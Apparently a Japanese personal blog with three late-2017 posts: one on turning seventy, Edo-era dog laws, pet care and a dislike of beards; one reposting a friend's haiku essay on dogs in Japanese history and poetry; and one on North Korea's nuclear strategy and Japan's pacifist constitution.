今から半世紀前一九六九年(昭和四十四年)俳人の石田波郷は結核で、五十六歳の若さで亡くなった。 
翌年に日本は万国博覧会が大阪で開催され、その後日本の医療技術は急速に進歩し、不治の病であった肺結核や癌、更には白血病やその他の難病も治療可能となった。
私も自愛すれば一〇〇年のスパンとなった人の命をスッパと前後寸断し、前半戦は学校で学ぶこと、家族を養い子育てするため、企業戦士として戦ってきた。
残された後半戦の五〇年間は如何に自愛し、悔いのない人生過ごすか考え時です。
古希と言えば、古代稀なりとよく言われているが人生の中でも大事な節目である。
私も昨年古希となってやっと解ったが人生の後半戦還暦、古希、傘寿、卒寿、百寿と一つ一つの節目を通過するたび、《人の命の尊さ》と《人の命の儚さ》を深く考えるのが人の常である。
「人間百年」悔いを残すな。知性を磨け。
そのために俳句の腕を上げ毎日辞世の句が描けるように研磨すべし。

1、二〇一八年は戌年―日本人は犬公方か。

犬虐待の密告者に賞金三〇両を出すという大胆な制度が設けられたらしい。一〇両以上盗むと死刑という時代の三〇両=今のお金で三〇〇万円。此れではと大ブーイング。
そして犬の餌は、御犬様には、一日に白米三合干しイワシ一合、そして味噌である。今も餌代、医療費もかなりかさむと思うけど。犬猫を飼う経費は馬鹿にできない。出産の際には専属の犬医者が診察したらしい。散歩も欠かさなかったというのですから、念が入っている。
でもそのくらいの事をしないと、現代でも犬猫愛好家と言えないと自負している人が多いと思う。

現代の飼い主の責任―まずは犬や猫の安全の確保 ―飼っている犬や猫の安全を守るのは飼い主の責任である。守るべきことは先ず放置しないこと。一年間に全国で六万頭以上の犬が路上を徘徊していたり、迷い込んできたりして保護(抑留)されている現状を知ること。
放し飼いの犬や猫は、交通事故などの危険に常にさらされているだけでなく、感染症などの病気で動けなくなることも多いので兎に角放し飼いをしないこと。
動物愛護管理法や都道府県などの条例に基づき犬の放し飼いは原則禁止されいてる。迷子にしないために雷や花火などでパニックになって外に飛び出さないように、対策をとってほしい。屋内や庭で飼っている犬や猫がドアや門の隙間などから脱走しないように、戸締りにも注意する。
また、犬の首輪が弛んですっぽり抜けてしまったり、鎖やリードが古くなって切れた例も多くあるので、首輪などは定期的に点検する。ケージ内で飼う場合は、ケージの開閉時に飛び出したり、ケージの不具合箇所から脱走したりしないようにする。
注意事項は上げたら切りがない。
社団法人 ペットフード協会の 平成二八年(二〇一六年)全国犬猫 飼育実態調査から見る飼育阻害要因は、「集合住宅のため禁止」「十分世話ができない」「お金が かかる」「死ぬとかわいそう」. 「別れがつらい」が上位となった。犬飼育マナー向上にむけ て、「排泄物をきちんと. 始末すること」「外出時は必ずリードを付けること」が絶対条件だ。それ以外も規制が多くて大変だと犬猫を飼わない私は、同情する。

2、吾輩は髭が大嫌いである。

毎日風呂に入って髭を剃らないと、次の日朝から気分が悪い。
日本人で髭のある人は、一般に偉そうだ。大体日本人のヒゲで最も似合っていたのは、三船敏郎が演じた老医師の「赤ひげ」ぐらいしかいない。明治の文明開化で活躍した伊藤博文や日清戦争の功労者乃木将軍の髭だって鼠の髭みたいでみっともない。まして日本人は余計そうなる。まるで借りてきた猫みたいだ。
外国人の中で髭が似合うのはヒスパニック系かゲルマン系。そしてが、ユダヤ系にアラブ系だと言われている。
軍国主義の時代じゃあるまいし、髭に頼らなくてもいいじゃないか。だからと言ってアメリカのトランプもロシアのプーチン大統領や中国の習近平国家主席は髭を生やしていないけど、偉そうで権力主義だ。
元々人の髭は顔面の体毛が退化した後に、二次的に発達したものである。これに対して、イヌやネコなどのヒゲは、鋭敏な触覚器として機能する大事な役割があると言われている。
中国や日本では髭を伸ばすと賢人のように見えると、錯覚している人がいるが、そんなのは手前味噌で幻想だ。
さっぽろ羊ヶ丘展望台に「少年よ、大志を抱け」と言う言葉を残した髭面のクラーク全身像がある。その像に向かって私は「老少年よ!理由のない髭など生やすな」と言いたい。
その理由は明快だ。
私は髭面の人や、長髪の人の入浴介護などが迷惑ではないかと思うからだ。
私を含め戦争を体験しない世代の中には、「晩年になってから自由な時間あり、好きなことが出来る」「生活水準が上がり、高齢期になるどこでも優待される」と考え違いをしている人が多いと思う。

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2017 年 12 月 30 日   No Comments

久々に「金子未完」氏の俳論が…

金子君は我が大学(クラブ)の同窓生。彼はコルゲンコーワの宣伝部長を経て定年退職後「俳句への道」にどっぷり浸かって10年になります。流石に既にプロの腕前で有り、最近は俳句評論を彼方此方に投稿していますが、特に写真家の浅井慎平氏の俳句への造詣を評して大作を執筆しています。

ご本人に見せる様アドバイスしたら、偶然その機会がありご本人が「読後の感激」を返信してきた様です。(長文すぎて転載できませんが…)

代わりに、その他の投稿文を以下に転載します。小生はその後余裕なく、句会にも出れない状況(というよりもその才に大きな疑いをもって…)です。

我が家のポチを奉る  金子未完

平成は三十一年で終わるが、二〇一八年は「戊戌」の年。そして「戌の刻」と言えば、午後八時を中心とする前後二時間の間を指し、「戌の方角」は西北西か、それよりやや北寄りにあたる。
また日本には古くから、妊娠五カ月の最初の「戌の日」に、妊婦さんが腹帯を舞いて、安産祈願のお参りをする風習がある。
日本の年間出生者数は、戦後のベビーブーム期の一九四九年(昭和二十四年)に二七〇万人と第一のピークを記録し、その「団塊の世代」が出産期を迎えた一九七三年、二〇九万人と第二のベビーブーム期を迎えた。
しかし、その後三十年来少子化が急速に進んでいる。その結果二〇一六年に生まれた赤ちゃんの数(出生数)は、約九八万人でついピーク時の半分の百万人以下となった。
そして十五歳未満の子どもは一、五六二万人(総人口の約八人に一人)に減少した。
少子化の原因の一つになっている未婚率は約二十三%。約四人に一人は独身である。
しかも結婚しても、子育てにかかる経済的な負担から、第二子を産む夫婦が減っている。
その結果少子化に拍車がかかっており、今や日本の将来は「SOS」の状態である。
これに対して、現在日本全国で飼われている犬は、おおよそ九八八万頭。猫は九八五万頭合わせて一九七三万頭もいる。(二〇一七年一般社団法人ペットフード協会調べ)。
犬は、最古の家畜化した動物であり、およそ約一万五千年前、東アジアに棲息するオオカミから家畜化されたものを祖先とし、世界各地に広がったものと考えられている。
動物の家畜化が進み出したのは、紀元前九千年ごろ、犬をはじめ、山羊、豚、牛そして猫は紀元前七千年前位前、その後鶏や馬。クリスマスに主役となるトナカイは、新しく紀元前三千年前である。
犬は食肉目イヌ科の哺乳類である。「嗅覚・聴覚」が鋭い。縄文時代飼われていた縄文犬は、主に狩猟犬であり、人間と一緒に狩りに行き、鹿や猪の追跡・捕獲に使われたとみられる。
弥生時代は、狩猟犬もいたが、長崎県壱岐市の原の辻遺跡から、殺されて食べられた犬の骨が、たくさん発見されている様に主に犬は食用とされていた。
飛鳥・奈良時代になると猟犬や番犬となり、犬が大切にされており、当時の犬を詠んだ有名な歌がある。
垣越しに、犬呼び越して、鳥猟(とがり)する君、青山の、茂き山辺に、馬休め君  万葉集柿本人麻呂
「垣越しに、犬を呼び寄せて鷹狩りをなさっている君が、青々と葉が茂っている山辺で馬を休ませてあげる」という意味である。
紀元六七五年には、「犬肉食」を禁じる通達が出され、聖徳太子には「雪丸」という愛犬がいた逸話が残っている。
その「雪丸」は人間と話をしたり、お経を唱えたりすることができた。「雪丸」は自分の死期を悟ったとき、奈良県の「達磨寺」に葬ってほしいと語り、それを聞いた聖徳太子がその願いを叶え、石像を作り埋葬したと言うエピソードが残っている。
そんな雪丸は、今は奈良県王寺町役場の「ゆるキャラ」になっている。「雪丸」の石像のある「達磨寺」ともに戌年の今年訪れる人は増えそうだ。
平安時代の『枕草子』や『源氏物語』にも、宮廷で犬や猫がペットとして飼われている様子が登場している。
ただし、後から日本に入ってきた猫が、ネズミを獲ることもあって人気があり、犬よりも大切にされる風潮があった。
猫が紐に繋がれ、宮中で大切に扱われているのに比べ、犬は放し飼いであった。
絵巻物から見ると、縁の下が犬にとって絶好の寝床だったようだ。
鎌倉・室町の武家社会になると、番犬と言う役割の他に、「戌追物」と言う競技にも使われていた。
犬追物とは、太い縄で境界を示した、円周約四〇mの円の中央に犬を放ち、境界線から外に出さない様にしながら集団で追いかけて、犬が縄を超えようとする瞬間に合わせて、近くの者が馬上から犬に矢を射ると言う動物虐待に近い競技で、その際犬を殺さない様に鏃(やじり)をのぞき鏑(かぶら)を大きくした蟇目(ひきめ)の矢を使用したと言われている。
またこの頃より「闘犬」が行われていた。「闘犬」とは動物同士を戦わせて楽しむブラッド・スポーツの一種であり、当時は「犬くい」、「犬合わせ」呼称されていた。安土桃山時代は多くの犬種が、戦国大名の権力の象徴として、犬を可愛がられた。
江戸時代になると、「犬公方」と呼ばれた第五代将軍徳川綱吉は、綱吉自身が丙戌年生まれのため、特に犬を保護し、「生類憐みの令」を制定し「犬の殺生を禁止」し、多数のお触れ(法令)を発令した。
綱吉の治世下は、元禄の泰平期であり、近松門左衛門、井原西鶴、松尾芭蕉といった文化人を生んだ。
草枕犬も時雨るるか 夜の声 松尾芭蕉
松尾芭蕉が「野ざらし紀行」の旅に出た途中、名古屋で詠んだ句であり、宿で床に就いたものの眠れないのだろうか。時雨の夜の静けさを破って、犬の声が聞こえ、宿での「仮寝」のあわれを嘆いている。
みじか夜を眠らでもるや翁丸 与謝蕪村
清少納言の『枕草子』に登場する「翁丸」と名づけられた飼い犬の名を蕪村がもじっているのが、ユーモアがあって面白い。
江戸衆や庵の犬にもお年玉 一茶 
江戸時代末期一茶の時代、犬は一般に農村や町中など、人の暮らすところにいて、気ままに歩き回り、残飯などの食べ物にありつく存在であった。
柿落ちて犬吠ゆる奈良の横町かな 正岡子規
子規は柿が大好物だったようであるが、奈良の横町でも柿の句を詠んでいる。
その子規の亡きあと、ホトトギスの理念となる「客観写生」「花鳥諷詠」を唱えた高濱虚子にも、犬にちなんだ有名な句がある。
顔抱いて犬が寝てをり菊の宿 高濱虚子
と実に気持ちよさそうな「宿泊先」の犬の寝顔を詠った。高浜虚子に師事し昭和初期に水原 秋桜子、高野素十、阿波野青畝とともに「ホトトギスの四S」とされた山口誓子の句に
土堤を外れ枯野の犬となり行けり 山口誓子
があり、誓子自身の自句自解に拠れば「犬が一匹、川沿いの長い堤 を走っていた。その堤に枯野へ下りて行く道があった。いままで堤を走っていた犬は、堤に別れて、その道を下り、枯野を走りはじめた。犬の道は、堤の道から枯野の道に切り替えられた。だから、犬は枯野の犬となった。」とある。
犬は専ら忠実な猟犬、番犬として飼われていたが、現在ではペットとして飼われているケースが多い。
また「犬のことわざ」も多くあり、例えば
主憂うれば犬痩す
主人に心配事があれば飼い犬にも、心理的な影響を与え痩せるとか
尾を振る犬は叩かれず
犬が尻尾を振るが如く、従順な者には誰もひどい事をしないとか
飼い犬に手を噛まれる 
可愛がっていた人から噛まれ、思いがけず害を請けるとかあると言うのだ。
また全国に犬・戌を祀って有名な神社として
老犬神社 秋田県大館市十二所葛原
犬の宮・猫の宮 山形県東置賜郡高鼻町
武蔵御嶽神社  東京都青梅市武蔵御嶽山
黒犬神社  静岡県藤枝市藤枝
鬼岩寺霊犬神社  静岡県磐田市見付
伊奴神社 愛知県名古屋市西区稲生町
金刀比羅宮(香川県仲多度郡琴平町)などがあるが、私も埼玉県秩父市三峰山にある、由緒ある三峰神社に昨年八月に参拝した。
社伝によれば、景行天皇の時、日本武尊が東征中、碓氷峠に向かう途中に寄ったとされ、江戸時代には、秩父の山中に棲息する狼を、猪などから農作物を守る眷族・神使とし「お犬さま」として崇めるようになったと言う謂われがある。
明の春我が家のポチを奉る  金子未完
ちなみに吾輩は、犬年生まれで「年男」である。
p. 4

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2017 年 12 月 29 日   No Comments

日本国憲法(考)-(5)「北」の核戦略

北朝鮮は何れにせよ崩壊寸前の状況にあり、唯一の生き残りを賭けて核戦略を選択している事は明らかです。

北の崩壊の原因は金体制の維持を「社会主義体制」の維持に置き換え、国民を無視した軍備優先(先軍主義)に有ります。国力を無視した経済政策の失敗でも有りました。何れにせよ中長期的には朝鮮半島の統一で収拾されるでしょうが、大きな犠牲を伴うと共に、問題はその先にも残ります。先ずはその事によって周辺国への犠牲も避けられない状況となりそうです。

北が核放棄を絶対にしない(できない)のは、イラク(フセイン)の崩壊があるからです。イラクは、核(化学兵器)を保有しないにも関わらず、米国の圧倒的軍備で崩壊した現実を示してしまいました。もしイラクが核保有していたらどうであったか…は歴史的には「レバタラ」でしかありませんが、米国の戦略や世界的世論がどうであったかは現状の混乱とは違ったものとなったかもしれません。
即ち、故に北は核を放棄する事はあり得ないし、事実既に核を保有している事も明らかなのです。

米国はワシントンに届くICBMの確実な開発、保有の前に北を叩く事を選択するでしょう。
唯一あり得る米国の他の戦略は現状凍結で承認という結論しかありません。
「北」の周辺国にとっては核の脅威が残っても、米国が同盟国の脅威迄も取り除く為にのみで敢えて戦端を開くかどうか…
北の核に備える為の日本や韓国の核防衛軍備を取る可能性も十分にあります。
米国の優先は何れにせよ自国への脅威の除去と共に経済利益で有り、「北」への戦争戦略もその一点でしかない事も明らかです。
一方、北の核は米国一国に向けられています。韓国や日本への核戦略などは自国の生き残りの為には何の意味も持たない事は「金正恩」にはよく分かっているからです。

核保有国が「北」の核保有を認めない…というのは明らかに矛盾で有り、逆にすべての国に核禁止を言えるのは本来唯一の被爆国である日本のみかもしれません。
何よりも日本は絶対に核保有をする事が出来ません。
先ず米国すらそれを許さないでしょう。米国には「真珠湾」の悪夢が未来永劫消えない歴史として存在します。もちろん韓国、中国、ロシアも絶対に承認しません。「北」の核よりも余程世界が脅威に感じるのが日本の核保有である事は、先の無謀なる戦争を決行した日本の宿命と考えなければならないでしょう。それが現実の世界観で有り、「核の傘」論の正体です。「核保有を目指す」と宣言できないのです。本音は違うのでしょう。いつかは「核武装」を夢見ているはずです。

日本は戦争をできる国に変貌し、軍隊を保有しようとしています。そしていずれは「核」保有をも主張するのでしょう。
北が崩壊し、朝鮮半島が統一された場合はどうでしょう。「北」の核は朝鮮半島(韓国)の核になり得ると言うことを示唆する可能性があり得ます。
さすれば、当然日本には核武装待望論が噴出しますが、残念ながら日本の核保有は前述の通り全世界が認める事はないと断言しておきましょう。

核のない軍備が意味の無い事も一方で「北」が示してくれています。今や軍備と核は一体で有り、日本が核開発(保有)の国力を有している事も十分に認識されています。
再軍備論者は何故日本の核保有にだけは触れないのでしょうか?
再軍備を主張するならば「核」は当然必要不可欠である事はど素人でもわかる理屈であり、論理矛盾を平気で「タブー」としているのが不思議でなりません。(被爆国である事での世論へのまやかしでしかありません)それなのに何故(それ故に?)「核の傘」は必要だと言うのもどうなのでしょう。(恥ずかしい論理矛盾がここにありませんか?)

さて「北の核」問題の結論です。
北は現状凍結で米国との対話に持ち込むか、崩壊承知で「金一家」が一矢報いるかの2者択一になります。
同様に米国は周辺の犠牲を承知で先制攻撃をして「北」を潰すか、現状維持の核保有までは認めるか…と言うのが結論です。
安倍氏は勝手にトランプのあらゆる選択肢に同意、賛意を示してしまいました。それが解散での大義名分に使われた事も明らかです。米国による先制攻撃であっても日本国民の一定の犠牲を承知の上で指示を表明しているのですから国民にとってはだまし討ちに近いのですが、それを承認してしまった事になります。

もう一つの結論は、日本はどんな状況になっても核軍備ができないと言う現実を直視する事です。ならばベストの日本の防衛戦略は「日本国憲法」をしっかりと守り、戦争と再軍備をしない事しか平和な日本はあり得ないと言う事になるべきなのです。

核のない軍備など無い時代に入り、日本が核を持つといえば「世界」(米国でさえ)が日本を潰そうとする現実が、再軍備論者にも核武装を言わない(言えない)事の理由なのです。

「繰り返しますが「核の傘」など今や全く意味をなさないし、「日米安保」で日本戦争に巻き込まれなくて済んだなどと言うのはすべて米国追随主義者の戯言に過ぎません。実証的見地からしても唯一「平和憲法」でこそ日本の戦争への積極関与なくここまで来れた理由なのです。そして今後益々憲法9条は日本国民にとっては必要不可欠な条文になるのですが…
核の傘不要論(自前核保有)を言えば、それだけで「日米安保」は壊れるでしょう。もちろん米軍基地も不要になります。
右陣営と国粋主義者が米国追従政策、安保、安倍容認で一致するのが全く分かりません…
戦争のできる国への変更を言うならば、自ら銃を構え、核のボタンを持ち、いつでも徴兵に応じるという事で初めて正義は成り立つのでしょうが…」

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2017 年 11 月 29 日   No Comments